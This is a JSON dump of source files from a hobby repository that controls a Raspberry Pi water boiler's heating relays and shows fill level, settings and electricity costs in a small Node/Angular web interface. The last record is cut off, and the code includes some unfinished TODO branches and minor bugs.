"text": "package de.schleger.boiler.heat;\n\nimport java.time.LocalDateTime;\n\nimport de.schleger.boiler.config.HeatPower;\n\npublic interface HeatCostCalculator {\n public float calculate(LocalDateTime start, LocalDateTime end, HeatPower heatPower);\n}\n"
},
{
"alpha_fraction": 0.6136363744735718,
"alphanum_fraction": 0.6931818127632141,
"avg_line_length": 21,
"blob_id": "a0381afff75be994b8687594204edee498aea0d0",
"content_id": "5bd58861c0b8c01cbe55a795923312fbc727cb61",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 88,
"license_type": "permissive",
"max_line_length": 55,
"num_lines": 4,
"path": "/webserver/README.md",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "# boiler-webserver\n\n# IP-Tables\nPort forwarding 3000 -> 80 ```/etc/iptables/rules.v4```\n"
},
{
"alpha_fraction": 0.7887324094772339,
"alphanum_fraction": 0.7887324094772339,
"avg_line_length": 19.285715103149414,
"blob_id": "4cecfe941949114031e37ca4d67e172af1f0fef1",
"content_id": "4108d9b65cfcbd236c6c97ac752fe94a49227bdd",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 142,
"license_type": "permissive",
"max_line_length": 40,
"num_lines": 7,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/time/LocalDateTimeProvider.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.time;\n\nimport java.time.LocalDateTime;\n\npublic interface LocalDateTimeProvider {\n public LocalDateTime now();\n}\n"
},
{
"alpha_fraction": 0.6277372241020203,
"alphanum_fraction": 0.6459854245185852,
"avg_line_length": 18.571428298950195,
"blob_id": "17605f203c0a34581c3f0930ec9683c1c9381298",
"content_id": "9aadd5a802467879dae9ceb01a2586a84c4e92f2",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 274,
"license_type": "permissive",
"max_line_length": 46,
"num_lines": 14,
"path": "/webserver/public/lib/date/dateConverter.js",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "var dateConverter = {\n getDateString: function (date){\n return date.format().substr(0, 10);\n },\n\n getMonthString: function (date){\n return date.format().substr(0, 7);\n },\n\n convertLogTime: function (logtime){\n return new Date(moment(logtime).format());\n }\n\n}\n"
},
{
"alpha_fraction": 0.5736842155456543,
"alphanum_fraction": 0.6035087704658508,
"avg_line_length": 23.255319595336914,
"blob_id": "6400b15e7d99b19c98a2fb3236ccd2a5207625e3",
"content_id": "f77d5f44f728867e30e0fc0c5431533035ae37cf",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 1140,
"license_type": "permissive",
"max_line_length": 71,
"num_lines": 47,
"path": "/webserver/public/lib/expenseCalculator.js",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "var pricePerKWH_night = 0.185283; //18,5283 cent inkl. mwst\nvar pricePerKWH_day = 0.216342; //21,6342 cent inkl. mwst\n\nvar expenseCalculator = {\n calculateExpense: function(startTime, endTime, power){\n\n var diffSeconds = endTime.diff(startTime, 'seconds');\n var kwh = diffSeconds * getKWforPower(power) / ( 60 * 60 );\n\n var expense;\n\n if ( isNight(startTime) ){\n if ( isNight(endTime) ){\n //start in night and ends in night\n expense = kwh * pricePerKWH_night;\n }\n else{\n console.log('TODO start time in night, endtime in day');\n console.log(startTime.format());\n console.log(endTime.format());\n }\n }\n else{\n if ( isNight(endTime) ){\n console.log('TODO handle start time in day, endtime in night');\n console.log(startTime.format());\n console.log(endTime.format());\n }\n else{\n //start in day and ends in day\n expense = kwh * pricePerKWH_day;\n }\n }\n\n return expense;\n\n }\n\n}\n\nfunction isNight(moment){\n return moment.hour() >= 22 || moment.hour <= 5;\n}\n\nfunction getKWforPower(power){\n return power * 2;\n}\n"
},
{
"alpha_fraction": 0.7188678979873657,
"alphanum_fraction": 0.7254716753959656,
"avg_line_length": 34.33333206176758,
"blob_id": "b323195876ae2d2a201108083b000a24dc3de6af",
"content_id": "14f426ca8d30b8adfa49f3368e9edf1e87b9c4a7",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1060,
"license_type": "permissive",
"max_line_length": 113,
"num_lines": 30,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/heat/HeatTimeCalculatorImpl.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.heat;\n\nimport de.schleger.boiler.config.HeatPower;\nimport de.schleger.boiler.temperature.Temperature;\n\npublic class HeatTimeCalculatorImpl implements HeatTimeCalculator {\n // 20 Min Buffer\n private static final float HEAT_BUFFER = 20.0f;\n\n private HeatTimeInterpolator heatTimeInterpolator;\n\n public HeatTimeCalculatorImpl(HeatTimeInterpolator heatTimeInterpolator) {\n this.heatTimeInterpolator = heatTimeInterpolator;\n }\n\n @Override\n public int calculate(Temperature startTemp, Temperature endTemp, HeatPower heatPower) {\n if (startTemp.compareTo(endTemp) >= 0) {\n return 0;\n }\n\n // Temperature Delta ermitteln\n float deltaTemperature = endTemp.getTemperature().floatValue() - startTemp.getTemperature().floatValue();\n // Zeit zum heizen ermitteln sowie Puffer\n float timeToHeat = heatTimeInterpolator.interpolateTimeToHeat(deltaTemperature, heatPower);\n\n // Aufrunden + Puffer\n return (int) Math.ceil(timeToHeat + HEAT_BUFFER);\n }\n}\n"
},
{
"alpha_fraction": 0.6064942479133606,
"alphanum_fraction": 0.6164006590843201,
"avg_line_length": 23.890411376953125,
"blob_id": "b357d2d972d465a10ef0cc6a25440f59bd416e69",
"content_id": "14070a13da82e6088b31355e1bdf2b6d3d8dc4a3",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1825,
"license_type": "permissive",
"max_line_length": 111,
"num_lines": 73,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/time/TimeProviderImpl.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.time;\n\nimport java.time.LocalDateTime;\n\npublic class TimeProviderImpl implements TimeProvider {\n private LocalDateTimeProvider dateTimeProvider = LocalDateTime::now;\n private LocalDateTime dateTime;\n\n @Override\n public LocalDateTime getTime() {\n return dateTime;\n }\n\n /**\n * Zwischen 22Uhr und 6Uhr wird als Nacht ausgegeben\n */\n @Override\n public boolean isNight() {\n return BoilerTime.isNight(getTime());\n }\n\n /**\n * Ist immer das nächste 6 Uhr morgens\n */\n @Override\n public LocalDateTime getNextNachtheizungEndTime() {\n LocalDateTime time = getTime();\n\n // Wenn größer 6 dann ist es der nächste Tag\n if (time.getHour() >= 6) {\n time = time.plusDays(1);\n }\n\n LocalDateTime dateTime = LocalDateTime.of(time.getYear(), time.getMonth(), time.getDayOfMonth(), 6, 0);\n\n return dateTime;\n }\n\n /**\n * Der erste Tag des nächsten Monats 6 Uhr morgens\n */\n @Override\n public LocalDateTime getNextLegionellenEndTime() {\n LocalDateTime time = getTime();\n\n // Wenn größer 6 dann ist es der nächste Tag\n if (time.getDayOfMonth() >= 2) {\n time = time.plusMonths(1);\n } else if (time.getHour() >= 6) {\n time = time.plusMonths(1);\n }\n\n LocalDateTime dateTime = LocalDateTime.of(time.getYear(), time.getMonth(), 1, 6, 0);\n\n return dateTime;\n }\n\n @Override\n public LocalDateTime addMinutesToTime(int minutes) {\n return getTime().plusMinutes(minutes);\n }\n\n public void setDateTimeProvider(LocalDateTimeProvider prov) {\n this.dateTimeProvider = prov;\n update();\n }\n\n @Override\n public void update() {\n dateTime = dateTimeProvider.now();\n }\n\n}\n"
},
{
"alpha_fraction": 0.5669642686843872,
"alphanum_fraction": 0.5967261791229248,
"avg_line_length": 23,
"blob_id": "8408ec666ba032520895f2c5c1d7fcc4f37e6cb2",
"content_id": "b36a170a9e04dd2eaae4ae6767a9e8493db5d293",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 672,
"license_type": "permissive",
"max_line_length": 105,
"num_lines": 28,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/config/ConfigKeyIn.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.config;\n\npublic enum ConfigKeyIn {\n // IN\n TARGET_TEMPERATURE, LEGIONELLEN_TEMPERATURE, EMPTY_TEMPERATURE, EURO_PER_KWH_NIGHT, EURO_PER_KWH_DAY;\n\n public static Float getDefault(ConfigKeyIn key) {\n switch (key) {\n case TARGET_TEMPERATURE:\n return 40f;\n\n case LEGIONELLEN_TEMPERATURE:\n return 50f;\n\n case EMPTY_TEMPERATURE:\n return 15f;\n\n case EURO_PER_KWH_DAY:\n return 0.185283f;\n\n case EURO_PER_KWH_NIGHT:\n return 0.216342f;\n\n default:\n throw new IllegalArgumentException(\"Unknown config key \" + key);\n }\n }\n}\n"
},
{
"alpha_fraction": 0.6890876293182373,
"alphanum_fraction": 0.6973166465759277,
"avg_line_length": 33.085365295410156,
"blob_id": "b80646278fce9cd36bff3ebbc06dfc0125e43285",
"content_id": "b2868f99e40122ced95194dfd6e88575a8faba88",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2795,
"license_type": "permissive",
"max_line_length": 117,
"num_lines": 82,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/log/LogFileCheckerTest.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.log;\n\nimport static org.hamcrest.CoreMatchers.equalTo;\nimport static org.junit.Assert.assertThat;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.StandardOpenOption;\nimport java.time.LocalDateTime;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport de.schleger.boiler.time.DummyTimeProvider;\n\npublic class LogFileCheckerTest {\n private static final String LOG_PATH = \"./logdir\";\n private static final String DUMMY_FILE_PATH = \"dummy.file\";\n private static final String DUMMY_FILE_PATH_2 = \"dummy2.file\";\n private static final File DUMMY_FILE = new File(LOG_PATH, DUMMY_FILE_PATH);\n private static final File DUMMY_FILE_2 = new File(LOG_PATH, DUMMY_FILE_PATH_2);\n\n private DummyTimeProvider timeProvider;\n private LogFileChecker logDelete;\n\n @Before\n public void setUp() throws IOException {\n timeProvider = new DummyTimeProvider();\n logDelete = new LogFileChecker(timeProvider, new File(LOG_PATH), 365, new LogDescriptor(DUMMY_FILE_PATH, 1));\n\n Files.write(DUMMY_FILE.toPath(), \"\".getBytes(), StandardOpenOption.CREATE);\n Files.write(DUMMY_FILE_2.toPath(), \"\".getBytes(), StandardOpenOption.CREATE);\n }\n\n @Test\n public void loeschtAlleBeschriebenenFilesDieAltGenugSind() {\n timeProvider.setTime(LocalDateTime.now().plusDays(10));\n logDelete.update();\n\n assertThat(Files.exists(DUMMY_FILE.toPath()), equalTo(false));\n }\n\n @Test\n public void loeschtFilesNichtWennNochZuNeu() {\n timeProvider.setTime(LocalDateTime.now());\n logDelete.update();\n\n assertThat(Files.exists(DUMMY_FILE.toPath()), equalTo(true));\n assertThat(Files.exists(DUMMY_FILE_2.toPath()), equalTo(true));\n }\n\n @Test\n public void laeuftNichtDoppeltProTag() throws IOException {\n timeProvider.setTime(LocalDateTime.now().plusDays(10));\n logDelete.update();\n\n assertThat(Files.exists(DUMMY_FILE.toPath()), equalTo(false));\n\n Files.write(DUMMY_FILE.toPath(), \"\".getBytes(), StandardOpenOption.CREATE);\n\n timeProvider.setTime(LocalDateTime.now().plusDays(10).plusHours(12));\n logDelete.update();\n\n assertThat(Files.exists(DUMMY_FILE.toPath()), equalTo(true));\n }\n\n @Test\n public void laeuftEinmalProTag() throws IOException {\n timeProvider.setTime(LocalDateTime.now().plusDays(10));\n logDelete.update();\n\n assertThat(Files.exists(DUMMY_FILE.toPath()), equalTo(false));\n\n Files.write(DUMMY_FILE.toPath(), \"\".getBytes(), StandardOpenOption.CREATE);\n\n timeProvider.setTime(LocalDateTime.now().plusDays(11).plusMinutes(1));\n logDelete.update();\n\n assertThat(Files.exists(DUMMY_FILE.toPath()), equalTo(false));\n }\n}\n"
},
{
"alpha_fraction": 0.6209262609481812,
"alphanum_fraction": 0.6629502773284912,
"avg_line_length": 36.6236572265625,
"blob_id": "1ac8a94041747305a13260bf2637943b35742cc0",
"content_id": "4a7c2cdf9e810ae4f59a4fe2b387703d2112a162",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3501,
"license_type": "permissive",
"max_line_length": 119,
"num_lines": 93,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/information/FillLevel.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.information;\n\nimport org.apache.commons.math3.analysis.interpolation.SplineInterpolator;\nimport org.apache.commons.math3.analysis.polynomials.PolynomialSplineFunction;\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\nimport de.schleger.boiler.analyze.TemperatureAnalyzer;\nimport de.schleger.boiler.config.ConfigProviderIn;\nimport de.schleger.boiler.model.BoilerModel;\nimport de.schleger.boiler.time.TimeProvider;\n\npublic class FillLevel implements InformationUpdater {\n private static final Logger LOG = LogManager.getLogger(FillLevel.class);\n\n private static final float HEAT_TEMPERATURE_DELTA = 1.00f;\n private PolynomialSplineFunction interpolate;\n\n private ConfigProviderIn configProviderIn;\n private BoilerModel boilerModel;\n private TemperatureAnalyzer temperatureAnalyzer;\n private TimeProvider timeProvider;\n\n private float target;\n\n public FillLevel(ConfigProviderIn configProviderIn, BoilerModel boilerModel,\n TemperatureAnalyzer temperatureAnalyzer, TimeProvider timeProvider) {\n this.configProviderIn = configProviderIn;\n this.boilerModel = boilerModel;\n this.temperatureAnalyzer = temperatureAnalyzer;\n this.timeProvider = timeProvider;\n\n double[] real = { 0.0, 1.0, 03.0, 06.0, 10.0, 15.0, 21.0, 28.0, 36.0, 45.0, 50.0, 61.0, 69.0, 76.0, 84.0, 89.0,\n 93.0, 96.0, 98.0, 99.0, 100.0, Float.MAX_VALUE };\n double[] estimatet = { 0.0, 5.0, 10.0, 15.0, 20.0, 25.0, 30.0, 35.0, 40.0, 45.0, 50.0, 55.0, 60.0, 65.0, 70.0,\n 75.0, 80.0, 85.0, 90.0, 95.0, 100.0, 100.0 };\n interpolate = new SplineInterpolator().interpolate(real, estimatet);\n }\n\n @Override\n public void update() {\n float min = configProviderIn.getEmptyTemperature().getTemperature();\n float ist = temperatureAnalyzer.getAverageTemperature().getTemperature();\n float target = getTargetForTheDay(ist);\n\n if (ist < min) {\n // Fuellstand 0 Prozent\n tellConfigProviderFillLevel(0);\n return;\n }\n\n try {\n float onePercent = (target - min) / 100f;\n float fuellstandPercentage = (ist - min) / onePercent;\n\n float fillLevel = (float) interpolate.value(fuellstandPercentage);\n if (fillLevel > 100f) {\n fillLevel = 100f;\n }\n\n tellConfigProviderFillLevel(fillLevel);\n } catch (Exception e) {\n LOG.error(\"Fehler beim ermitteln des FillLevel\", e);\n }\n }\n\n /**\n * Wenn das Target für den Tag sammt Puffer überschritten wird, dann wird von einem neuen maximum bis in die Nacht\n * ausgegangen.\n * \n * Dann wird das Tagesmaximum wieder resettet und die Config greift, bis sie wieder überschritten wird\n */\n private float getTargetForTheDay(float ist) {\n float configTarget = configProviderIn.getTargetTemperature().getTemperature() + HEAT_TEMPERATURE_DELTA;\n\n // DayTarget resetten in der Nacht bzw. initalisieren\n if (timeProvider.getTime().getHour() < 1 || target < configTarget) {\n target = configTarget;\n }\n\n // DayTarget anpassen\n if (ist > target) {\n target = ist;\n }\n\n return target;\n }\n\n private void tellConfigProviderFillLevel(float fillLevel) {\n LOG.info(\"FILL_LEVEL=\" + fillLevel);\n boilerModel.setFillLevel(Math.round(fillLevel));\n }\n}"
},
{
"alpha_fraction": 0.7623762488365173,
"alphanum_fraction": 0.7623762488365173,
"avg_line_length": 19.200000762939453,
"blob_id": "2e59a391a5580780e3bddce7bee53f2268aec964",
"content_id": "7ee08634368e4f78f86335fd3f667ca67e224a87",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 101,
"license_type": "permissive",
"max_line_length": 36,
"num_lines": 5,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/schedule/BoilerSchedule.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.schedule;\n\npublic interface BoilerSchedule {\n public void analyse();\n}\n"
},
{
"alpha_fraction": 0.663361668586731,
"alphanum_fraction": 0.6699716448783875,
"avg_line_length": 32.619049072265625,
"blob_id": "41f7bea794bb4a0992de149dbfcafdfbdfb837d9",
"content_id": "d5ac8c120bcbfbb8a7c742b8d8b77e8d0bf715e4",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2118,
"license_type": "permissive",
"max_line_length": 105,
"num_lines": 63,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/analyze/TemperatureAnalyzerFileImpl.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.analyze;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.apache.commons.io.IOUtils;\nimport org.apache.commons.io.input.ReversedLinesFileReader;\nimport org.apache.logging.log4j.Level;\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\nimport de.schleger.boiler.temperature.Temperature;\nimport de.schleger.boiler.temperature.TemperatureImpl;\n\npublic class TemperatureAnalyzerFileImpl implements TemperatureAnalyzer {\n private static final Logger LOG = LogManager.getLogger(TemperatureAnalyzerFileImpl.class);\n\n private static final int LINES_TO_READ_DEFAULT = 5;\n private final File file;\n\n // Falls beim ersten Versuch gar nichts gelesen werden kann ist Sicherheitshalber 100 Grad hinterlegt\n private Float lastValidAverageTemperature = 100f;\n\n public TemperatureAnalyzerFileImpl(File file) {\n this.file = file;\n }\n\n @Override\n public Temperature getAverageTemperature() {\n return new TemperatureImpl(lastValidAverageTemperature);\n }\n\n private void readTemperatures(int linesToRead) {\n List<Float> temperaturesList = new ArrayList<>();\n\n ReversedLinesFileReader reader = null;\n try {\n reader = new ReversedLinesFileReader(file);\n for (int lineCounter = 0; lineCounter < linesToRead; lineCounter++) {\n String line = reader.readLine();\n if (line == null) {\n break;\n }\n Float valueOf = Float.valueOf(line.split(\" \")[1]);\n temperaturesList.add(valueOf);\n }\n\n Float sum = temperaturesList.stream().reduce(0.0f, (a, b) -> Float.sum(a, b));\n lastValidAverageTemperature = sum / temperaturesList.size();\n\n } catch (Exception e) {\n LOG.log(Level.ERROR, \"Fehler beim lesen/ermitteln der Temperaturen aus dem File\", e);\n } finally {\n IOUtils.closeQuietly(reader);\n }\n }\n\n @Override\n public void update() {\n readTemperatures(LINES_TO_READ_DEFAULT);\n }\n}\n"
},
{
"alpha_fraction": 0.607464611530304,
"alphanum_fraction": 0.607464611530304,
"avg_line_length": 21.200000762939453,
"blob_id": "4430afc429823d775ffeea53ef11c0034201bfb6",
"content_id": "8ae037f6b03b325b7e911fcfa8e85b07ce5221aa",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 777,
"license_type": "permissive",
"max_line_length": 54,
"num_lines": 35,
"path": "/webserver/public/views/settings/settingsCtrl.js",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "app.registerCtrl('SettingsCtrl', SettingsCtrl);\n\nfunction SettingsCtrl($http){\n var self = this;\n\n this.message = '';\n this.settings = {};\n this.keys = [];\n\n $http( {\n method: 'GET',\n url: '/settings'\n }).then(function success(res){\n self.settings = res.data;\n self.keys = Object.keys(self.settings);\n }, function error(err){\n self.message = 'could not load settings'\n console.log(err);\n })\n\n this.submit = function(){\n console.log(this.settings);\n\n $http.post('/settings', this.settings)\n .then(function success(){\n console.log('success');\n self.message = 'successfully saved';\n }, function error(err){\n console.log('error');\n console.log(err);\n self.message = 'error, could not save settings';\n });\n }\n\n}\n"
},
{
"alpha_fraction": 0.6823104619979858,
"alphanum_fraction": 0.6823104619979858,
"avg_line_length": 20.30769157409668,
"blob_id": "e97cf482d152f041aa919bbc83c212a4f7dfe2e3",
"content_id": "3b76d91f207455bd279e4855ae63d015b196eb0c",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 277,
"license_type": "permissive",
"max_line_length": 55,
"num_lines": 13,
"path": "/webserver/public/views/login/logoutController.js",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "app.registerCtrl('LogoutController', LogoutController);\n\nfunction LogoutController($http, $rootScope, $state){\n $rootScope.isLoggedIn = false;\n $http.get('/logout')\n .then(function success(res){\n\n }, function error(err){\n console.log(err);\n })\n $state.go('login');\n\n}\n"
},
{
"alpha_fraction": 0.7105606198310852,
"alphanum_fraction": 0.7105606198310852,
"avg_line_length": 23.74193572998047,
"blob_id": "da65679065405ba7a3bc2096220d56fcfdcc3444",
"content_id": "a31cd93f2fc132800626b8287822b2b3a7698070",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1535,
"license_type": "permissive",
"max_line_length": 81,
"num_lines": 62,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/time/DummyTimeProvider.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.time;\n\nimport java.time.LocalDateTime;\n\npublic class DummyTimeProvider implements TimeProvider {\n private boolean isNight;\n private LocalDateTime nextNachtHezungEndTime;\n private LocalDateTime time;\n private LocalDateTime dateAddMinutesToTime;\n private LocalDateTime nextLegionellenEndTime;\n\n @Override\n public boolean isNight() {\n return isNight;\n }\n\n public void setNight(boolean isNight) {\n this.isNight = isNight;\n }\n\n @Override\n public LocalDateTime getTime() {\n return time;\n }\n\n @Override\n public LocalDateTime getNextNachtheizungEndTime() {\n return nextNachtHezungEndTime;\n }\n\n @Override\n public LocalDateTime addMinutesToTime(int minutes) {\n return dateAddMinutesToTime;\n }\n\n public void setDateAddMinutesToTime(LocalDateTime dateAddMinutesToTime) {\n this.dateAddMinutesToTime = dateAddMinutesToTime;\n }\n\n public void setNextNachtHezungEndTime(LocalDateTime nextNachtHezungEndTime) {\n this.nextNachtHezungEndTime = nextNachtHezungEndTime;\n }\n\n public void setTime(LocalDateTime time) {\n this.time = time;\n }\n\n @Override\n public void update() {\n // wird für Tests nicht gebraucht\n\n }\n\n @Override\n public LocalDateTime getNextLegionellenEndTime() {\n return nextLegionellenEndTime;\n }\n\n public void setNextLegionellenEndTime(LocalDateTime nextLegionellenEndTime) {\n this.nextLegionellenEndTime = nextLegionellenEndTime;\n }\n}\n"
},
{
"alpha_fraction": 0.6353346705436707,
"alphanum_fraction": 0.6515747904777527,
"avg_line_length": 29.328357696533203,
"blob_id": "3fb1394184b066e2fe76968888cf56fc31debf5b",
"content_id": "e1eec02aee3d5c06307e6263f3e53e382dd35d5e",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2033,
"license_type": "permissive",
"max_line_length": 95,
"num_lines": 67,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/boiler/BoilerControllerGPIOImpl.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.boiler;\n\nimport java.beans.PropertyChangeEvent;\nimport java.beans.PropertyChangeListener;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\nimport com.pi4j.io.gpio.GpioController;\nimport com.pi4j.io.gpio.GpioFactory;\nimport com.pi4j.io.gpio.GpioPinDigitalOutput;\nimport com.pi4j.io.gpio.PinState;\nimport com.pi4j.io.gpio.RaspiPin;\n\nimport de.schleger.boiler.config.HeatPower;\n\npublic class BoilerControllerGPIOImpl implements PropertyChangeListener {\n private static final Logger LOG = LogManager.getLogger(BoilerControllerGPIOImpl.class);\n\n private final GpioPinDigitalOutput pin2kw;\n private final GpioPinDigitalOutput pin4kw;\n\n public BoilerControllerGPIOImpl() {\n GpioController gpio = GpioFactory.getInstance();\n\n pin2kw = gpio.provisionDigitalOutputPin(RaspiPin.GPIO_00, \"Relais 2KW\", PinState.HIGH);\n pin4kw = gpio.provisionDigitalOutputPin(RaspiPin.GPIO_01, \"Relais 4KW\", PinState.HIGH);\n\n // falls sich das Programm beendet wird der state auf high gesetzt\n // -->kein strom fließt\n pin2kw.setShutdownOptions(true, PinState.HIGH);\n pin4kw.setShutdownOptions(true, PinState.HIGH);\n }\n\n private void setHeatPower(HeatPower heatPower) {\n LOG.info(\"GPIO HEAT_LEVEL=\" + heatPower.toString());\n\n switch (heatPower) {\n case HEAT_POWER_3:\n pin2kw.low();\n pin4kw.low();\n break;\n case HEAT_POWER_2:\n pin2kw.high();\n pin4kw.low();\n break;\n case HEAT_POWER_1:\n pin2kw.low();\n pin4kw.high();\n break;\n case HEAT_POWER_0:\n pin2kw.high();\n pin4kw.high();\n break;\n default:\n pin2kw.high();\n pin4kw.high();\n break;\n }\n }\n\n @Override\n public void propertyChange(PropertyChangeEvent evt) {\n HeatPower power = (HeatPower) evt.getNewValue();\n setHeatPower(power);\n }\n}\n"
},
{
"alpha_fraction": 0.5564489364624023,
"alphanum_fraction": 0.5698492527008057,
"avg_line_length": 25.651784896850586,
"blob_id": "aa170e43a56b13e026bf5c8e5cebe36f9745c792",
"content_id": "76e49dca6cdb33bbe0aa594705f4dcee9faf3357",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2985,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 112,
"path": "/webserver/routes/expenses.js",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "var express = require('express');\nvar router = express.Router();\nvar path = require('path');\nvar fs = require('fs');\nvar moment = require('moment');\nvar dateConverter = require('../public/lib/date/dateConverter.js');\n\nvar powerFile = \"/var/log/boiler/power.log\";\nvar temperatureFile = \"/var/log/temperature/temp.log\";\nvar fillLevelFile = \"/var/log/boiler/fillLevel.log\";\n\nrouter.get('/', function(req, res, next) {\n\n var now = moment('2015-01-01');\n var currentMoment = moment(now).date(1);\n\n var expense = 0;\n while(currentMoment.isSameOrBefore(now, 'days') ){\n\n getPowerLogForMoment(currentMoment, function(powerLog){\n console.log(powerLog);\n\n for ( var i=0; i < powerLog.length; i++){\n if ( powerLog[i].power <= 0 ) continue;\n\n var startTime = powerLog[i].moment;\n var endTime;\n if ( i + 1 == powerLog.length ){\n var now = moment();\n if ( now.isSame(startTime, 'day') ){\n endTime = now;\n }\n else throw new Error('todo use value from next day?');\n }\n else endTime = powerLog[i+1].moment;\n\n var kwh = diffSeconds * getKWforPower(powerLog[i].power) / ( 60 * 60 );\n var diffSeconds = endTime.diff(startTime, 'seconds');\n\n if ( isNight(startTime) ){\n if ( isNight(endTime) ){\n //start in night and ends in night\n expense += kwh * pricePerKWH_night;\n }\n else{\n console.log('TODO start time in night, endtime in day');\n console.log(startTime.format());\n console.log(endTime.format());\n }\n }\n else{\n if ( isNight(endTime) ){\n console.log('TODO handle start time in day, endtime in night');\n console.log(startTime.format());\n console.log(endTime.format());\n }\n else{\n //start in day and ends in day\n expense += kwh * pricePerKWH_day;\n }\n\n }\n\n }\n\n console.log('expenses:' + expense);\n res.sendStatus(200);\n\n })\n\n currentMoment.add(1, 'day');\n }\n\n})\n\nfunction getPowerLogForMoment(date, callback){\n var filePath = powerFile;\n\n var today = moment();\n if ( date.isBefore(today, 'day') ){\n filePath += '.' + date.format().substr(0, 10);\n }\n fs.readFile(filePath, 'utf8', function (err,data) {\n var content = data;\n if (err) {\n content = date + 'T00:00:00,000 GPIO HEAT_LEVEL=HEAT_POWER_0';\n }\n\n var powerLog = convertPowerLog(content);\n callback(powerLog);\n\n });\n}\n\nfunction convertPowerLog(powerLog){\n var power = [];\n var lines = powerLog.split('\\n');\n for(var i = 0;i < lines.length;i++){\n var line = lines[i];\n var search = 'HEAT_LEVEL=HEAT_POWER_';\n var index = line.search(search);\n if ( index != -1){\n power.push({\n moment: moment(line.split(' ')[0]),\n power: parseFloat(line.substr(index + search.length, 1))\n });\n }\n }\n return power;\n}\n\nmodule.exports = router;\n"
},
{
"alpha_fraction": 0.5823857188224792,
"alphanum_fraction": 0.5939799547195435,
"avg_line_length": 24.19662857055664,
"blob_id": "a201dd69e9f1c61d3b17c1f63009fc7d26de23db",
"content_id": "2164e258d26a0d05e2da8ae30f2d9429d4641ee1",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 4488,
"license_type": "permissive",
"max_line_length": 105,
"num_lines": 178,
"path": "/webserver/public/views/chart/chartCtrl.js",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
